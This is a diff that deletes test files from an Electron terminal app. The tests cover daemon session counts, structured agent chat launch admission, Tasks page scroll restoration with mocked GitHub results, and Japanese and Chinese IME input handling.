daemon's session set has to hold the expected size across consecutive reads. */ -async function waitForStableSessionIds(page: Page, expected: number): Promise { - await expect - .poll( - async () => { - const first = await listDaemonSessionIds(page) - await page.waitForTimeout(750) - const second = await listDaemonSessionIds(page) - return ( - first.length === expected && - second.length === expected && - first.every((id) => second.includes(id)) - ) - }, - { timeout: 30_000, message: `The daemon session set never settled at ${expected}` } - ) - .toBe(true) -} - -test.describe('Status bar CLI session count', () => { - test('keeps an unobserved count unknown after Manage Sessions kills a foreign daemon session', async ({ - orcaPage: page, - electronApp - }) => { - test.skip( - process.platform === 'win32', - 'Named-pipe daemon endpoints need a different socket path derivation.' - ) - - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - - const hasPaneManager = await waitForActiveTerminalManager(page, 30_000) - .then(() => true) - .catch(() => false) - test.skip( - !hasPaneManager, - 'Electron automation in this environment never mounts the TerminalPane manager.' - ) - await waitForPaneCount(page, 1, 30_000) - - // Create through a second daemon connection so this app lists the foreign session without attaching. - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const runtimeDir = path.join(userDataDir, 'daemon') - const foreignClient = new DaemonClient({ - socketPath: path.join(runtimeDir, `daemon-v${PROTOCOL_VERSION}.sock`), - tokenPath: path.join(runtimeDir, `daemon-v${PROTOCOL_VERSION}.token`) - }) - const foreignSessionId = `${randomUUID()}::${userDataDir}` - - try { - await foreignClient.ensureConnected() - const created = await foreignClient.request<{ isNew: boolean; pid: number }>( - 'createOrAttach', - { sessionId: foreignSessionId, cols: 80, rows: 24, cwd: userDataDir, env: {} } - ) - expect(created.isNew, 'the foreign daemon session was not created').toBe(true) - - // Keep two attached panes alive alongside the foreign session throughout the kill. - await splitActiveTerminalPane(page, 'vertical') - await waitForPaneCount(page, 2, 30_000) - - // Wait for both panes to bind before Settings unmounts; killing a still-spawning pane would change counts independently. - await waitForPaneIdentitySnapshot(page, 2) - await waitForStableSessionIds(page, 3) - - const baselineIds = await listDaemonSessionIds(page) - expect(baselineIds, 'the foreign session is not live on the daemon').toContain( - foreignSessionId - ) - const baseline = baselineIds.length - expect(baseline, 'expected the two panes plus the foreign session').toBe(3) - - await expect(resourceChip(page)).toHaveAccessibleName( - 'Resource Manager, terminal count unavailable' - ) - await expect(resourceChip(page)).toHaveAttribute('aria-expanded', 'false') - - await page.evaluate(() => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - state.openSettingsTarget({ pane: 'terminal', repoId: null }) - state.openSettingsPage() - }) - - const killRowButton = page.getByRole('button', { name: `Kill session ${foreignSessionId}` }) - await expect(killRowButton).toBeVisible({ timeout: 30_000 }) - await killRowButton.click() - - const confirmButton = page.getByRole('button', { name: 'Kill session', exact: true }) - await expect(confirmButton).toBeVisible() - await confirmButton.click() - - await expect - .poll(async () => (await listDaemonSessionIds(page)).includes(foreignSessionId), { - timeout: 30_000, - message: 'The daemon never dropped the killed session' - }) - .toBe(false) - - await waitForStableSessionIds(page, baseline - 1) - await expect(resourceChip(page)).toHaveAccessibleName( - 'Resource Manager, terminal count unavailable' - ) - await expect(resourceChip(page)).toHaveAttribute('aria-expanded', 'false') - } finally { - await foreignClient - .request('kill', { sessionId: foreignSessionId, immediate: true }) - .catch(() => {}) - foreignClient.disconnect() - } - }) -}) diff --git a/tests/e2e/structured-agent-session-launch-admission.unit.test.ts b/tests/e2e/structured-agent-session-launch-admission.unit.test.ts deleted file mode 100644 index 4b8d079d0a2..00000000000 --- a/tests/e2e/structured-agent-session-launch-admission.unit.test.ts +++ /dev/null @@ -1,350 +0,0 @@ -// @vitest-environment happy-dom - -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type * as HostPermission from '@/runtime/native-chat/host-capabilities/structured-chat-host-permission' -import type { Worktree } from '../../src/shared/worktree/types' - -const mocks = vi.hoisted(() => ({ - createSupport: vi.fn(), - toastInfo: vi.fn(), - toastError: vi.fn(), - launchAgentInNewTab: vi.fn(), - hostPermission: vi.fn(), - writerCapability: vi.fn(async () => 'supported') -})) - -vi.mock('sonner', () => ({ toast: { info: mocks.toastInfo, error: mocks.toastError } })) -vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', () => ({ - launchAgentInNewTabWithOutcome: mocks.launchAgentInNewTab -})) -vi.mock('@/lib/agent-session/resume/history/ai-vault-session-resume-preparation', () => ({ - prepareAiVaultSessionForResume: async () => ({ sessionId: 'provider-1' }) -})) -vi.mock( - '../../src/renderer/src/runtime/native-chat/requests/structured-agent-session-call', - () => ({ - callStructuredAgentSession: vi.fn(async (_target: unknown, method: string, params: unknown) => { - if (method === 'agentSession.createSupport') { - return mocks.createSupport(params) - } - return new Promise(() => undefined) - }) - }) -) - -vi.mock( - '../../src/renderer/src/runtime/native-chat/host-capabilities/structured-agent-session-host-support', - () => ({ - structuredAgentSessionHostSupports: async () => true, - structuredAgentSessionHostCapabilityState: mocks.writerCapability - }) -) - -vi.mock( - '@/runtime/native-chat/host-capabilities/structured-chat-host-permission', - async (importOriginal) => ({ - ...(await importOriginal()), - readStructuredChatHostPermissionVerdict: mocks.hostPermission - }) -) -// Switch-on, main opens this machine's chats and its frames draw them. -vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => - ( - await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture') - ).runtimeRpcClientWithLayoutApply(await importOriginal()) -) -vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) => - ( - await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture') - ).runtimeLayoutClientWithTestFrames(await importOriginal()) -) - -import { useAppStore } from '@/store' -import { adoptAgentSessionLaunchVerdict } from '../../src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan' -import { beginStructuredAgentSessionProvisionalLaunch } from '../../src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab' -import '../../src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-agent-routing' -import { getStructuredAgentLaunchStatus } from '../../src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-status' -import { getStructuredAgentSessionLaunchSelection } from '../../src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options' -import { peekWebSessionFocusIntent } from '@/runtime/web-session-tabs-sync/navigation/web-session-focus-intent' -import { structuredAgentSessionFocusOwner } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner' -import { readNativeChatComposerDraft } from '@/components/native-chat/drafts/native-chat-composer-draft-store' -import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope' -import { - drawTabsFromMain, - type TabsDrawnFromMain -} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture' - -const WORKTREE = 'repo-1::/srv/app' -const INITIAL_SETTINGS = useAppStore.getState().settings - -function pairedPlan( - overrides: { resumeFrom?: { providerSessionId: string }; executionHostId?: 'local' } = {} -) { - return adoptAgentSessionLaunchVerdict({ - requestId: 'request-1', - route: 'structured-native-chat', - agent: 'claude', - worktreeId: WORKTREE, - executionHostId: 'runtime:server-1', - prompt: 'fix the flaky test', - promptDelivery: 'auto-submit', - ...overrides - }) -} - -const localPlan = () => pairedPlan({ executionHostId: 'local' }) - -/** The workspace's row names the paired server as its owner, whose layout draws its tabs. */ -function seedPairedServerWorkspace(): void { - const worktree: Worktree = { - id: WORKTREE, - repoId: 'repo-1', - path: '/srv/app', - head: 'abc', - branch: 'refs/heads/main', - isBare: false, - isMainWorktree: true, - displayName: 'app', - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: 0, - lastActivityAt: 0, - hostId: 'runtime:server-1', - runtimeOwnerEnvironmentId: 'server-1' - } - useAppStore.setState({ worktreesByRepo: { 'repo-1': [worktree] } }) -} - -/** Nothing of a chat exists on this machine: no tab, launch, record, queued prompt or intent. */ -function expectNoChatCommitted(): void { - expect(useAppStore.getState().unifiedTabsByWorktree[WORKTREE] ?? []).toEqual([]) - expect(getStructuredAgentLaunchStatus(WORKTREE, 'claude')).toBe('idle') - expect(Object.keys(localStorage)).toEqual([]) - expect(peekWebSessionFocusIntent({ environmentId: 'server-1' }, WORKTREE)).toBeNull() - expect( - peekWebSessionFocusIntent(structuredAgentSessionFocusOwner({ kind: 'local' }), WORKTREE) - ).toBeNull() -} - -let main: TabsDrawnFromMain - -beforeEach(async () => { - vi.clearAllMocks() - mocks.hostPermission.mockResolvedValue({ kind: 'allowed' }) - localStorage.clear() - useAppStore.setState({ - activeWorktreeId: WORKTREE, - activeWorkspaceExecutionHostId: null, - unifiedTabsByWorktree: {}, - worktreesByRepo: {}, - settings: INITIAL_SETTINGS - }) - main = await drawTabsFromMain(useAppStore) -}) - -afterEach(() => { - main.close() - vi.restoreAllMocks() -}) - -describe('a structured chat launch on a paired server', () => { - beforeEach(seedPairedServerWorkspace) - - it('opens nothing and says so once when the server cannot be reached', async () => { - mocks.createSupport.mockRejectedValue(new Error('connection lost')) - const onHostDeclined = vi.fn() - - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: pairedPlan(), - hooks: {}, - onHostDeclined - }) - - await expect(launch?.settlement).resolves.toMatchObject({ kind: 'failed' }) - await expect(launch?.promptDeliveryResult).resolves.toEqual({ - delivered: false, - failureNotified: true - }) - expect(mocks.toastError).toHaveBeenCalledOnce() - expect(onHostDeclined).not.toHaveBeenCalled() - expectNoChatCommitted() - }) - - it('leaves no destination when the server declines a resume', async () => { - mocks.createSupport.mockResolvedValue({ supported: false }) - const onHostDeclined = vi.fn() - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: pairedPlan({ resumeFrom: { providerSessionId: 'provider-1' } }), - hooks: {}, - onHostDeclined - }) - await expect(launch?.settlement).resolves.toMatchObject({ kind: 'failed' }) - expect(mocks.createSupport).toHaveBeenCalledOnce() - expect(onHostDeclined).not.toHaveBeenCalled() - expectNoChatCommitted() - }) - - // The picker shows what create will run: the server's saved selection, not this machine's. - it('seeds the chat with the selection the admitting server reported', async () => { - mocks.createSupport.mockResolvedValue({ supported: true, seedOptions: { model: 'opus' } }) - useAppStore.setState({ - settings: { - ...useAppStore.getState().settings!, - nativeChatSessionOptions: { claude: { model: 'sonnet' } } - } - }) - - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: pairedPlan(), - hooks: {}, - onHostDeclined: vi.fn() - }) - await vi.waitFor(() => - expect(useAppStore.getState().unifiedTabsByWorktree[WORKTREE]).toHaveLength(1) - ) - const sessionId = useAppStore.getState().unifiedTabsByWorktree[WORKTREE]![0]!.entityId - - expect(getStructuredAgentSessionLaunchSelection(sessionId)?.seed).toEqual({ model: 'opus' }) - launch?.cancel() - }) - - // An unread capability is neither an older server nor an unreachable one: the resume asks the - // plain question and create decides, as before the early writer question existed. - it('opens a resumed chat when the server could not say what it supports', async () => { - mocks.writerCapability.mockResolvedValueOnce('unknown') - mocks.createSupport.mockResolvedValue({ supported: true }) - - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: pairedPlan({ resumeFrom: { providerSessionId: 'provider-1' } }), - hooks: {}, - onHostDeclined: vi.fn() - }) - await vi.waitFor(() => - expect(useAppStore.getState().unifiedTabsByWorktree[WORKTREE]).toEqual([ - expect.objectContaining({ - contentType: 'agent-session', - executionHostId: 'runtime:server-1' - }) - ]) - ) - // Admission's question is the plain one; create asks it again on its own. - expect(mocks.createSupport.mock.calls[0]).toEqual([ - { worktree: `id:${WORKTREE}`, agent: 'claude' } - ]) - expect(mocks.toastError).not.toHaveBeenCalled() - launch?.cancel() - }) -}) - -// The same ask, of this machine's own runtime: a Claude account bound to WSL is one "no" it gives. -describe('a structured chat launch on this machine', () => { - it('opens nothing when the launch is abandoned before this machine answers', async () => { - let answer!: (support: { supported: boolean }) => void - mocks.createSupport.mockReturnValue(new Promise((resolve) => (answer = resolve))) - const onHostDeclined = vi.fn() - - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: localPlan(), - hooks: {}, - onHostDeclined - }) - launch?.cancel() - answer({ supported: false }) - - await expect(launch?.settlement).resolves.toEqual({ kind: 'cancelled', sessionId: null }) - await expect(launch?.promptDeliveryResult).resolves.toEqual({ - delivered: false, - failureNotified: false - }) - expect(onHostDeclined).not.toHaveBeenCalled() - expectNoChatCommitted() - }) - - // This machine has no connection to lose: the chat opens, and its own start reports a failure. - it('opens the chat without a notice when this machine cannot answer the ask', async () => { - mocks.createSupport.mockRejectedValue(new Error('runtime not ready')) - const onHostDeclined = vi.fn() - - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: localPlan(), - hooks: {}, - onHostDeclined - }) - - await vi.waitFor(() => - expect(useAppStore.getState().unifiedTabsByWorktree[WORKTREE]).toHaveLength(1) - ) - expect(onHostDeclined).not.toHaveBeenCalled() - expect(mocks.toastError).not.toHaveBeenCalled() - launch?.cancel() - }) -}) - -// Another terminal running the conversation: create would refuse it, so nothing opens first. -it('opens nothing for a resume the host refuses, leaving the one notice to its caller', async () => { - mocks.createSupport.mockRejectedValue( - Object.assign(new Error('agent_session_conflict'), { - code: 'agent_session_conflict', - data: { - refusal: { - code: 'agent_session_conflict', - details: { reason: 'conversationHeldElsewhere' } - } - } - }) - ) - const onHostDeclined = vi.fn() - const launch = beginStructuredAgentSessionProvisionalLaunch({ - plan: pairedPlan({ executionHostId: 'local', resumeFrom: { providerSessionId: 'provider-1' } }), - hooks: {}, - onHostDeclined - }) - - const settlement = await launch?.settlement - expect(settlement).toMatchObject({ - kind: 'failed', - error: { code: 'agent_session_conflict', refusal: { code: 'agent_session_conflict' } } - }) - expect(settlement).not.toHaveProperty('notified') - expect(mocks.createSupport).toHaveBeenCalledWith( - expect.objectContaining({ resumeFrom: { providerSessionId: 'provider-1' } }) - ) - expect(onHostDeclined).not.toHaveBeenCalled() - expect(mocks.toastError).not.toHaveBeenCalled() - expectNoChatCommitted() -}) - -it('keeps an explicit chat and its prompt when its host declines startup', async () => { - seedPairedServerWorkspace() - mocks.createSupport.mockResolvedValue({ supported: false, reason: 'wsl' }) - const plan = adoptAgentSessionLaunchVerdict({ ...pairedPlan(), requestedSurface: 'chat' }) - const launch = beginStructuredAgentSessionProvisionalLaunch({ plan, hooks: {} }) - if (!launch?.tab) { - throw new Error('An explicit chat must open before its host answers') - } - - await expect(launch.settlement).resolves.toMatchObject({ - kind: 'failed', - error: { code: 'structured_agent_session_unsupported' } - }) - await expect(launch.promptDeliveryResult).resolves.toMatchObject({ - delivered: false, - inComposer: true - }) - expect( - readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(launch.tab.entityId)).text - ).toBe('fix the flaky test') - await vi.waitFor(() => - expect(useAppStore.getState().unifiedTabsByWorktree[WORKTREE]).toEqual([ - expect.objectContaining({ - contentType: 'agent-session', - executionHostId: 'runtime:server-1' - }) - ]) - ) -}) diff --git a/tests/e2e/tasks-page.spec.ts b/tests/e2e/tasks-page.spec.ts deleted file mode 100644 index 1766c64b4bf..00000000000 --- a/tests/e2e/tasks-page.spec.ts +++ /dev/null @@ -1,187 +0,0 @@ -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady, waitForActiveWorktree, getStoreState } from './helpers/store' - -async function openTasksPage(page: Parameters[0]): Promise { - await page.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - store.getState().openTaskPage() - }) -} - -async function openMockedPaginatedGitHubTasks( - page: Parameters[0], - app: ElectronApplication -): Promise { - // Fake GitHub per repo at IPC so production list acceptance and count publication drive the pager. - await app.evaluate(({ ipcMain }) => { - // 1000 results at the single-repo page width of 36 is 28 pages; the last page holds 28 rows. - const totalCount = 1000 - // The fixture repo is a non-fork: origin is its only candidate and the effective source. - const target = { owner: 'example', repo: 'repo' } - ipcMain.removeHandler('gh:listWorkItems') - ipcMain.handle('gh:listWorkItems', (_event, args: { limit?: number; page?: number }) => { - const limit = args.limit ?? 36 - const pageNumber = args.page ?? 1 - const length = Math.max(0, Math.min(limit, totalCount - (pageNumber - 1) * limit)) - return { - items: Array.from({ length }, (_, index) => ({ - id: `issue-${pageNumber}-${index + 1}`, - type: 'issue' as const, - number: pageNumber * 100 + index + 1, - title: `Issue page ${pageNumber} item ${index + 1}`, - state: 'open' as const, - url: `https://github.com/example/repo/issues/${pageNumber * 100 + index + 1}`, - labels: [], - updatedAt: new Date(1_700_000_000_000 - index * 1_000).toISOString(), - author: 'octocat' - })), - sources: { issues: target, prs: target, originCandidate: target, upstreamCandidate: null } - } - }) - ipcMain.removeHandler('gh:countWorkItems') - ipcMain.handle('gh:countWorkItems', () => totalCount) - }) - await page.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const repos = store.getState().repos.map((repo, index) => - index === 0 - ? { - ...repo, - gitRemoteIdentity: { - canonicalKey: 'github.com/example/repo', - remoteName: 'origin', - remoteUrl: 'https://github.com/example/repo.git' - } - } - : repo - ) - store.setState({ repos }) - store.getState().openTaskPage({ taskSource: 'github' }) - }) -} - -test.describe('Tasks page', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('reopening restores the GitHub page and scroll position', async ({ - orcaPage, - electronApp - }) => { - await openMockedPaginatedGitHubTasks(orcaPage, electronApp) - - await orcaPage.getByRole('button', { name: 'Page 28', exact: true }).click() - await expect(orcaPage.getByText('Issue page 28 item 1', { exact: true })).toBeVisible() - - const list = orcaPage.locator('[data-task-list-scroll="github"]') - await list.evaluate((element) => { - element.scrollTop = 360 - element.dispatchEvent(new Event('scroll')) - }) - await expect.poll(() => list.evaluate((element) => element.scrollTop)).toBeGreaterThan(300) - - await orcaPage.getByRole('button', { name: 'Close tasks' }).click() - await expect(list).toHaveCount(0) - const clampedRowsStyle = await orcaPage.addStyleTag({ - content: - '[data-task-list-scroll="github"] > .divide-y { max-height: 0 !important; overflow: hidden !important; }' - }) - await openTasksPage(orcaPage) - - await expect(orcaPage.getByRole('button', { name: 'Page 28', exact: true })).toHaveAttribute( - 'aria-current', - 'page' - ) - const restoredList = orcaPage.locator('[data-task-list-scroll="github"]') - await expect.poll(() => restoredList.evaluate((element) => element.scrollTop)).toBe(0) - await clampedRowsStyle.evaluate((element) => { - element.parentNode?.removeChild(element) - }) - await expect(orcaPage.getByText('Issue page 28 item 1', { exact: true })).toBeVisible() - await expect - .poll(() => restoredList.evaluate((element) => element.scrollTop)) - .toBeGreaterThan(300) - - await orcaPage.getByText('Issue page 28 item 12', { exact: true }).click() - await expect(restoredList).toHaveCount(0) - await expect - .poll(async () => { - const position = await getStoreState<{ scrollTop: number }>(orcaPage, 'taskListPosition') - return position.scrollTop - }) - .toBeGreaterThan(300) - await orcaPage.getByRole('button', { name: 'GitHub list', exact: true }).click() - await expect(orcaPage.getByText('Issue page 28 item 1', { exact: true })).toBeVisible() - await expect - .poll(() => restoredList.evaluate((element) => element.scrollTop)) - .toBeGreaterThan(300) - - await orcaPage.getByRole('button', { name: 'Close tasks' }).click() - const pendingRestoreStyle = await orcaPage.addStyleTag({ - content: - '[data-task-list-scroll="github"] > .divide-y { max-height: 0 !important; overflow: hidden !important; }' - }) - await openTasksPage(orcaPage) - await expect(orcaPage.getByRole('button', { name: 'Page 28', exact: true })).toHaveAttribute( - 'aria-current', - 'page' - ) - await orcaPage.getByRole('button', { name: 'Page 1', exact: true }).click() - await pendingRestoreStyle.evaluate((element) => { - element.parentNode?.removeChild(element) - }) - await expect(orcaPage.getByRole('button', { name: 'Page 1', exact: true })).toHaveAttribute( - 'aria-current', - 'page' - ) - await expect - .poll(() => - orcaPage - .locator('[data-task-list-scroll="github"]') - .evaluate((element) => element.scrollTop) - ) - .toBe(0) - - await orcaPage.getByRole('button', { name: 'Page 28', exact: true }).click() - await expect(orcaPage.getByText('Issue page 28 item 1', { exact: true })).toBeVisible() - await restoredList.evaluate((element) => { - element.scrollTop = 360 - element.dispatchEvent(new Event('scroll')) - }) - await expect - .poll(() => restoredList.evaluate((element) => element.scrollTop)) - .toBeGreaterThan(300) - await orcaPage.getByRole('button', { name: 'Close tasks' }).click() - - const permanentlyClampedRowsStyle = await orcaPage.addStyleTag({ - content: - '[data-task-list-scroll="github"] > .divide-y { max-height: 0 !important; overflow: hidden !important; }' - }) - await openTasksPage(orcaPage) - await expect(orcaPage.getByRole('button', { name: 'Page 28', exact: true })).toHaveAttribute( - 'aria-current', - 'page' - ) - // Outlast the old 5s restore give-up so an unpainted list cannot overwrite remembered scroll with zero. - await orcaPage.waitForTimeout(5_500) - await orcaPage.getByRole('button', { name: 'Close tasks' }).click() - await expect - .poll(async () => { - const position = await getStoreState<{ scrollTop: number }>(orcaPage, 'taskListPosition') - return position.scrollTop - }) - .toBeGreaterThan(300) - await permanentlyClampedRowsStyle.evaluate((element) => { - element.parentNode?.removeChild(element) - }) - }) -}) diff --git a/tests/e2e/terminal-cjk-ime-committed-text.spec.ts b/tests/e2e/terminal-cjk-ime-committed-text.spec.ts deleted file mode 100644 index f4861b1754e..00000000000 --- a/tests/e2e/terminal-cjk-ime-committed-text.spec.ts +++ /dev/null @@ -1,310 +0,0 @@ -/** - * Headless end-to-end coverage for Japanese and Chinese terminal input. - * - * Three shapes are covered, and the second is the one the whole suite used to be blind to: - * - * 1. Phrase-level composition — a Japanese preedit that grows to several characters and converts - * to kanji, and a pinyin preedit that spends most of its life as multi-letter romanisation. - * Both are asserted on the overlay's real geometry rather than on the bytes they later emit. - * 2. Committed text that arrives with **no composition session at all**. Full-width punctuation - * (`,` `。` `、`) and full-width digits are typed as a single keystroke that the input source - * rewrites; there is no compositionstart/update/end around them. Every IME test in the repo - * was composition-session-shaped, so this shape was invisible to the suite by construction — - * which is how `,` reaching the shell as an ASCII `,` shipped to users. This is the macOS - * shape, and the tests for it pin the macOS ownership policy. - * 3. The same full-width punctuation arriving **inside** a composition session, which is how the - * Windows and Linux frameworks deliver it. Same user-facing guarantee, different ordering. - * - * The assertion for shapes 2 and 3 is deliberately "the ASCII byte never appears" rather than "the - * substitution was applied": the correct design never manufactures the ASCII byte in the first - * place, so pinning its absence stays true under a forwarder rewrite as well as under a - * structural one. - */ -import type { CDPSession } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { readTerminalImeBoundaryTrace } from './terminal-ime-boundary-probe' -import { - commitImeText, - dispatchImeProcessKey, - dispatchImeRewrittenPrintableKey, - dispatchImeSubstitutedTextKey, - dispatchPlainEnter, - setImeComposition, - type ImeKeyIdentity -} from './terminal-ime-cdp-composition' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { expectPreeditHidden, expectPreeditRendered } from './terminal-ime-preedit-overlay-probe' -import { applyImePlatformPolicy, type ImePlatformPolicy } from './terminal-ime-platform-policy' - -/** Frames a Japanese IME shows while typing にほんご and converting it to 日本語. */ -const JAPANESE_FRAMES = ['に', 'にほ', 'にほん', 'にほんご', '日本語'] as const - -/** - * Substitutions an East Asian input source commits from one keystroke, with no composition session - * around them. `ascii` is the character the physical key carries in the Latin layout — the byte the - * user must never see — and `glyph` is what the input source actually committed. - */ -type SubstitutedKeystroke = ImeKeyIdentity & { glyph: string; ascii: string } - -const FULL_WIDTH_PUNCTUATION: readonly SubstitutedKeystroke[] = [ - { key: ',', code: 'Comma', keyCode: 188, glyph: ',', ascii: ',' }, - { key: '.', code: 'Period', keyCode: 190, glyph: '。', ascii: '.' }, - { key: ',', code: 'Comma', keyCode: 188, glyph: '、', ascii: ',' } -] - -const FULL_WIDTH_DIGITS: readonly SubstitutedKeystroke[] = [ - { key: '1', code: 'Digit1', keyCode: 49, glyph: '1', ascii: '1' }, - { key: '2', code: 'Digit2', keyCode: 50, glyph: '2', ascii: '2' }, - { key: '3', code: 'Digit3', keyCode: 51, glyph: '3', ascii: '3' } -] - -const SUBSTITUTION_GROUPS = [ - { label: 'punctuation', keystrokes: FULL_WIDTH_PUNCTUATION }, - { label: 'digits', keystrokes: FULL_WIDTH_DIGITS } -] as const - -/** - * The two ways a substituted keystroke can reach the renderer. Both are real; only the second one - * regressed, and only the second one can regress, which is why running both is the point. - */ -const SUBSTITUTION_ROUTES: readonly { - name: string - slug: string - dispatch: (session: CDPSession, keystroke: SubstitutedKeystroke) => Promise -}[] = [ - { - // Green, and honest about its limits: xterm's own key handler emits `event.key`, so this shape - // survives with or without a forwarder and would have passed throughout the regression. It - // guards the frameworks that do rewrite `key`; it is not the regression guard. - name: 'the keydown already carries the substituted glyph', - slug: 'rewritten-keydown', - dispatch: (session, keystroke) => - dispatchImeRewrittenPrintableKey(session, { - key: keystroke.glyph, - code: keystroke.code, - keyCode: keystroke.keyCode - }) - }, - { - // The regression guard. Red on `main`, green from the structural-forwarder layer down. - // - // The keydown carries the plain Latin `,` and the `,` exists only in the following `input` - // event, so anything that produces bytes from the keydown emits the ASCII form and destroys - // the real one. Today the bypass that would prevent that is gated on the OS reporting an - // input source whose id matches a 23-term allowlist. That read returns null on every - // non-macOS host and `com.apple.keylayout.*` on a macOS runner with no CJK source selected, - // and the preload API surface is frozen so no spec can stub it — meaning correctness here is - // not expressible as a test until the gate goes away. - // - // Closed by the structural rule one layer below: bytes for printable characters come only from - // the `input` event, decided on the event's own shape with no input-source read. Verified on - // real macOS hardware — with an Apple pinyin source selected, the pty receives ef bc 8c e3 80 82 - // (,。) where main sends ASCII. Note main can pass this by luck: an input source whose id - // happens to contain an allowlist term, such as Sogou's, satisfies the old gate. - name: 'the keydown still carries the ASCII layout key', - slug: 'substituted-insert-text', - dispatch: (session, keystroke) => - dispatchImeSubstitutedTextKey(session, keystroke, keystroke.glyph) - } -] - -/** - * The two substitution shapes above run under the macOS policy: they are the macOS text system's - * shapes for punctuation. Windows and most Linux frameworks claim the same keystroke as - * VK_PROCESSKEY and route the glyph through a composition session instead, which the separate - * composition-session test below covers. The Linux plain-keydown commit shape (fcitx4 Sogou's - * candidate picks, #28213) is covered by terminal-linux-claimed-preedit-selector.spec.ts. - */ -const FULL_WIDTH_SESSION_PUNCTUATION = [ - { key: ',', code: 'Comma', keyCode: 188, glyph: ',', ascii: ',' }, - { key: '.', code: 'Period', keyCode: 190, glyph: '。', ascii: '.' } -] as const - -test.describe('Terminal CJK IME committed text', () => { - test('shows a growing Japanese phrase preedit and commits the converted kanji', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - await expectPreeditHidden(orcaPage, 'before composing') - await dispatchImeProcessKey(arena.session, { key: 'Process', code: 'KeyN' }) - - const widthByFrame = new Map() - for (const frame of JAPANESE_FRAMES) { - await setImeComposition(arena.session, frame) - const sample = await expectPreeditRendered(orcaPage, frame, `composing ${frame}`) - widthByFrame.set(frame, sample.rect.width) - } - // A phrase-level preedit must widen as it grows. An overlay pinned to one cell renders only - // the first character, which is a shape every non-geometric assertion reports as correct. - expect(widthByFrame.get('にほんご')!).toBeGreaterThan(widthByFrame.get('に')!) - expect(widthByFrame.get('日本語')!).toBeGreaterThan(widthByFrame.get('に')!) - - await commitImeText(arena.session, '日本語') - await expectPreeditHidden(orcaPage, 'after committing 日本語') - await dispatchPlainEnter(arena.session) - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from('日本語\n').toString('hex')]) - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'japanese-phrase-preedit', !completed) - removeTerminalImeByteReader(reader) - } - }) - - for (const route of SUBSTITUTION_ROUTES) { - for (const group of SUBSTITUTION_GROUPS) { - test(`sends full-width ${group.label} and never their ASCII form when ${route.name}`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await applyImePlatformPolicy(orcaPage, 'mac') - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - const expected = group.keystrokes.map((keystroke) => keystroke.glyph).join('') - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - for (const keystroke of group.keystrokes) { - await route.dispatch(arena.session, keystroke) - await orcaPage.waitForTimeout(60) - } - await dispatchPlainEnter(arena.session) - - const sent = (await readTerminalImeBoundaryTrace(orcaPage)).onData.join('') - for (const keystroke of group.keystrokes) { - expect( - sent, - `${keystroke.glyph} reached the PTY as ASCII ${keystroke.ascii}` - ).not.toContain(keystroke.ascii) - } - expect(sent).toBe(`${expected}\r`) - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from(`${expected}\n`).toString('hex')]) - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - `full-width-${group.label}-${route.slug}`, - !completed - ) - removeTerminalImeByteReader(reader) - } - }) - } - } - - test('forwards Chinese pinyin conversions and their trailing full-width stop together', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await applyImePlatformPolicy(orcaPage, 'mac') - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - await dispatchImeProcessKey(arena.session, { key: 'Process', code: 'KeyN' }) - const widthByFrame = new Map() - for (const frame of ['n', 'ni', 'niha', 'nihao', '你好']) { - await setImeComposition(arena.session, frame) - const sample = await expectPreeditRendered(orcaPage, frame, `composing ${frame}`) - widthByFrame.set(frame, sample.rect.width) - } - // Pinyin spends most of its life as a multi-letter romanisation before any Chinese appears, - // so 